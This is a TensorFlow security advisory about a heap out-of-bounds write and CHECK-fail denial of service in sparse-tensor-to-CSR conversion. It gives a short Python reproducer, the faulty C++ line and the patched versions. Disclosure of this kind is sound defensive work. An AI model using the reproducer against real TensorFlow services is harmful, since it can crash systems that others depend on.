Description

Impact An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices: ```python import tensorflow as tf import numpy as np from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops indices_array = np.array([[0, 0]]) value_array = np.array([0.0], dtype=np.float32) dense_shape = [0, 0] st = tf.SparseTensor(indices_array, value_array, dense_shape) values_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix( st.indices, st.values, st.dense_shape) ``` This is because the implementation does a double redirection to access an element of an array allocated on the heap: ```cc csr_row_ptr(indices(i, 0) + 1) += 1; ``` If the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the bounds of `csr_row_ptr`, this results in writing outside of bounds of heap allocated data. Patches We have patched the issue in GitHub commit 1e922ccdf6bf46a3a52641f99fd47d54c1decd13. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
